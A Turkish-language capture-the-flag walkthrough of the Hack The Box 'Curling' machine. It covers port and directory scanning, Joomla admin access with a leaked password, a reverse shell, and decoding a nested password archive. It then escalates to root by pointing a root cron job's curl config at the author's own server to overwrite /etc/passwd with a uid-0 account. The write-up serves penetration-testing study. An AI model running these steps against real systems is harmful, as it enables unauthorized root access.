| Makine Adı | Seviye | OS | Logo |
|---|---|---|---|
| Curling - HTB | Kolay | Linux |  |
Walkthrough
nmap taraması:
┌──(root💀kali)-[~]
└─# nmap -p- -A -T4 10.10.10.150
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-02 19:54 EDT
Nmap scan report for 10.10.10.150
Host is up (0.067s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=10/2%OT=22%CT=1%CU=36525%PV=Y%DS=2%DC=T%G=Y%TM=6158F16
OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 67.56 ms 10.10.14.1
2 68.24 ms 10.10.10.150
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.56 seconds Port 80'e gobuster taraası gerçekleştirdim.
┌──(root💀kali)-[~] [6/57]
└─# gobuster dir --add-slash --expanded --follow-redirect --url http://10.10.10.150/ --no-error -t 50 --wordlist /usr/share/wordlists/dirb/big.txt --extensions php,html,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.150/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,php,html
[+] Add Slash: true
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/10/02 21:29:41 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.10.150/.htpasswd/ (Status: 403) [Size: 277]
http://10.10.10.150/.htpasswd.php (Status: 403) [Size: 277]
http://10.10.10.150/.htpasswd.html (Status: 403) [Size: 277]
http://10.10.10.150/.htpasswd.txt (Status: 403) [Size: 277]
http://10.10.10.150/.htaccess.php (Status: 403) [Size: 277]
http://10.10.10.150/.htaccess.html (Status: 403) [Size: 277]
http://10.10.10.150/.htaccess.txt (Status: 403) [Size: 277]
http://10.10.10.150/.htaccess/ (Status: 403) [Size: 277]
http://10.10.10.150/LICENSE.txt (Status: 200) [Size: 18092]
http://10.10.10.150/README.txt (Status: 200) [Size: 4872]
http://10.10.10.150/administrator/ (Status: 200) [Size: 5110]
http://10.10.10.150/bin/ (Status: 200) [Size: 31]
http://10.10.10.150/cache/ (Status: 200) [Size: 31]
http://10.10.10.150/cli/ (Status: 200) [Size: 31]
http://10.10.10.150/components/ (Status: 200) [Size: 31]
http://10.10.10.150/configuration.php (Status: 200) [Size: 0]
http://10.10.10.150/htaccess.txt (Status: 200) [Size: 3005]
http://10.10.10.150/icons/ (Status: 403) [Size: 277]
http://10.10.10.150/images/ (Status: 200) [Size: 31]
http://10.10.10.150/includes/ (Status: 200) [Size: 31]
http://10.10.10.150/index.php (Status: 200) [Size: 14270]
http://10.10.10.150/language/ (Status: 200) [Size: 31]
http://10.10.10.150/layouts/ (Status: 200) [Size: 31]
http://10.10.10.150/libraries/ (Status: 200) [Size: 31]
http://10.10.10.150/media/ (Status: 200) [Size: 31]
http://10.10.10.150/modules/ (Status: 200) [Size: 31]
http://10.10.10.150/plugins/ (Status: 200) [Size: 31]
http://10.10.10.150/secret.txt (Status: 200) [Size: 17]
http://10.10.10.150/server-status/ (Status: 403) [Size: 277]
http://10.10.10.150/templates/ (Status: 200) [Size: 31]
http://10.10.10.150/tmp/ (Status: 200) [Size: 31]
===============================================================
2021/10/02 21:31:56 Finished
===============================================================
/secret.txt sayfasına gittiğimizde base64 veri gördüm ve hemen bunu decode ettim.
http://10.10.10.150/secret.txt:Curling2018!Daha sonrasında http://10.10.10.150/index.php/2-uncategorised/1-first-post-of-curling2018 sayfasında floris isimli bir kullanıcı buldum.
http://10.10.10.150/administrator/ sayfasında joomla bulunuyordu. Bu credential'lar ile giriş yapayı denedim ve başarılı oldum.
https://www.hackingarticles.in/joomla-reverse-shell/ adresindeki talimatları izleyerek sunucudan reverse shell aldım.
┌──(root💀kali)-[~/ssl/Simetrik]
└─# nc -lvp 1234 1 ⨯
listening on [any] 1234 ...
10.10.10.150: inverse host lookup failed: Unknown host
connect to [10.10.14.21] from (UNKNOWN) [10.10.10.150] 41968
Linux curling 4.15.0-156-generic #163-Ubuntu SMP Thu Aug 19 23:31:58 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
21:37:15 up 1:26, 0 users, load average: 0.00, 0.71, 0.94
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ Daha sonrasında sunucuda enumaration yapmaya başladım. Mysql hesabının config dosyasından parolasını aldım ancak bir işime yaramadı. İncelemelerim esnasında /home/floris/password_backup dosyasını buldum. Dosya içerisini okuduğumda hexedit gibi bir programla açılmış gibi bir içerikle akrşılaştım.
│Extracting archive: password.out
$ cd /home │--
$ ls │Path = password.out
floris │Type = tar
$ cd floris │Physical Size = 10240
$ ls │Headers Size = 9728
admin-area │Code Page = UTF-8
password_backup │
user.txt │Everything is Ok
$ cat password_backup │
00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H.. │Size: 19
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4 │Compressed: 10240
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...` │
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@...... │┌──(root💀kali)-[~/10.10.10.150/bzip]
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h.. │└─# ls
00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4 │password.out password.txt test
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J.. │
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x │┌──(root💀kali)-[~/10.10.10.150/bzip]
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1 │└─# cat password.txt
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s." │5d<wdCbdZu)|hChXll
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R. │
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p.. │┌──(root💀kali)-[~/10.10.10.150/bzip]
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C │└─# file password.txt
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*.. │password.txt: ASCII text
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. [email protected]. │
000000f0: 819b bb48 ...H Burdaki dosyanın aynısını (hex olarak) kendi localime kopyaladım. Daha sonrasında file komutu ile içeriğini bakarak aşağıdaki adımları takip ettim.
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# cat test
l[passwordrBZh91AY&SY6Ǎ@@Pt t"dhhOPIS@68ET>P@#I bՃ|3x(*N&Hk1x"{]B@6m ┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# file test
test: bzip2 compressed data, block size = 900k
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# apt install bzip2
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
bzip2 is already the newest version (1.0.8-4).
0 upgraded, 0 newly installed, 0 to remove and 680 not upgraded.
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# mv test test.bz2
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# bzip2 -d test.bz2
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# ls
test
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# ls -al
total 12
drwxr-xr-x 2 root root 4096 Oct 2 19:04 .
drwxr-xr-x 5 root root 4096 Oct 2 19:02 ..
-rw-r--r-- 1 root root 173 Oct 2 19:02 test
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# cat test
l[passwordrBZh91AY&SY6Ǎ@@Pt t"dhhOPIS@68ET>P@#I bՃ|3x(*N&Hk1x"{]B@6m
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# file test
test: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# 7z l test
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz (506E3),ASM,AES-NI)
Scanning the drive for archives:
1 file, 173 bytes (1 KiB)
Listing archive: test
--
Path = test
Type = gzip
Headers Size = 19
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2018-05-22 15:16:20 ..... 141 173 password
------------------- ----- ------------ ------------ ------------------------
2018-05-22 15:16:20 141 173 1 files
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# 7z x test
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz (506E3),ASM,AES-NI)
Scanning the drive for archives:
1 file, 173 bytes (1 KiB)
Extracting archive: test
--
Path = test
Type = gzip
Headers Size = 19
Everything is Ok
Size: 141
Compressed: 173
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# ls
password test
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# cat password
BZh91AY&SY6Ǎ@@Pt t"dhhOPIS@68ET>P@#I bՃ|3x(*N&Hk1x"{]B@6
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# file password
password: bzip2 compressed data, block size = 900k
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# bzip2 -d password
bzip2: Can't guess original name for password -- using password.out
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# ls
password.out test
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# file password.out
password.out: POSIX tar archive (GNU)
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# 7z l password.out
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz (506E3),ASM,AES-NI)
Scanning the drive for archives:
1 file, 10240 bytes (10 KiB)
Listing archive: password.out
--
Path = password.out
Type = tar
Physical Size = 10240
Headers Size = 9728
Code Page = UTF-8
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2018-05-22 15:15:47 ..... 19 512 password.txt
------------------- ----- ------------ ------------ ------------------------
2018-05-22 15:15:47 19 512 1 files
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# 7z x password.out
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz (506E3),ASM,AES-NI)
Scanning the drive for archives:
1 file, 10240 bytes (10 KiB)
Extracting archive: password.out
--
Path = password.out
Type = tar
Physical Size = 10240
Headers Size = 9728
Code Page = UTF-8
Everything is Ok
Size: 19
Compressed: 10240
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# ls
password.out password.txt test
┌──(root💀kali)-[~/10.10.10.150/bzip]
└─# cat password.txt
5d<wdCbdZu)|hChXll
5d<wdCbdZu)|hChXll floris kullanıcısının parolsıdır. Uzun bir süre enumaration yaptım en sonunda arka planda çalışan processlerde inginç birşeyler buldum.
pspy aracının çıktısı (bu aracı daha önce çokça kullandık o yüzden indirme ibi kısımlarını atlıyoru. Bilmeyenler internette ya da önceki yazılarımda bulabilir) aşağıda verilmiştir.
2021/10/03 00:06:01 CMD: UID=0 PID=17185 | /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input
2021/10/03 00:06:01 CMD: UID=0 PID=17184 | /usr/sbin/CRON -f
2021/10/03 00:06:01 CMD: UID=0 PID=17183 | /usr/sbin/CRON -f
2021/10/03 00:06:01 CMD: UID=0 PID=17188 | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report curl'un man'ınan baktığımızda -K nin ne olduğunu görebiliyoruz.
-K, --config <file>
Specify a text file to read curl arguments from. The command line arguments found in the text file
will be used as if they were provided on the command line.
Options and their parameters must be specified on the same line in the file, separated by whitespace,
colon, or the equals sign. Long option names can optionally be given in the config file without the
initial double dashes and if so, the colon or equals characters can be used as separators. If the op‐
tion is specified with one or two dashes, there can be no colon or equals character between the op‐
tion and its parameter.
If the parameter contains whitespace (or starts with : or =), the parameter must be enclosed within
quotes. Within double quotes, the following escape sequences are available: \\, \", \t, \n, \r and
\v. A backslash preceding any other letter is ignored. If the first column of a config line is a '#'
character, the rest of the line will be treated as a comment. Only write one option per physical line
in the config file.
Specify the filename to -K, --config as '-' to make curl read the file from stdin.
Note that to be able to specify a URL in the config file, you need to specify it using the --url op‐
tion, and not by simply writing the URL on its own line. So, it could look similar to this:
url = "https://curl.se/docs/"İnternete biraz araştırma yaptığımda istek cevabını bir dosyaya yazabileceğimizide gördüm. process root oalrak tetikleiyor bende cevabı /etc/passwd dosyasına yazmaya başladı ve var olan /etc/passwd dosyasıın altına hacker isimli bir kullanıcı ekleyerek ona bir parola tanımlaması gerçekeltirdim. Arkaplanda benim açmış olduğum http sunucuya istek yapıalcak benim oluşturduğum /etc/passwd dosyası ecvap olarak dönüp makine içerisindeki /etc/passwd dosyasının üstüne yazılacak böylece bir kullanıcı sistme eklemiş olacağız.
floris@curling:~/admin-area$ cat input
url = "http://10.10.14.21:8081/exploit"
output = "/etc/passwd"
floris@curling:~/admin-area$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
floris:x:1000:1004:floris:/home/floris:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/falseNormaldeki /etc/passwd dosyası yukarıda verilmiştir. Bu dosyayı kendi localime kopyaladım ve altına bir kullancı ekeldim.
┌──(root💀kali)-[~/10.10.10.150]
└─# openssl passwd -1 -salt hacker hacker 3 ⚙
$1$hacker$TzyKlv0/R/c28R.GAeLw.1
┌──(root💀kali)-[~/10.10.10.150]
└─# echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash' >> exploit 3 ⚙
┌──(root💀kali)-[~/10.10.10.150]
└─# cat exploit 3 ⚙
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
floris:x:1000:1004:floris:/home/floris:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash Daha sonrasında http suncusuunu başlattım.
┌──(root💀kali)-[~/10.10.10.150]
└─# python3 -m http.server 8081 3 ⚙
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.10.150 - - [02/Oct/2021 21:01:02] "GET /exploit HTTP/1.1" 200 -
input dosyasını aşağıdaki gibi güneclledim.
floris@curling:~/admin-area$ cat input
url = "http://10.10.14.21:8081/exploit"
output = "/etc/passwd" Ve belirli bir süre sonra /etc/passwd dosyası güncellendi.
floris@curling:~/admin-area$ su hacker
Password:
root@curling:/home/floris/admin-area# id
uid=0(root) gid=0(root) groups=0(root)
root@curling:/home/floris/admin-area# cd /root
root@curling:~# ls
default.txt root.txt
root@curling:~# cat root.txt
82c198ab6fc5365fdc6da2ee5c26064a
İlk Yorumu Siz Yapın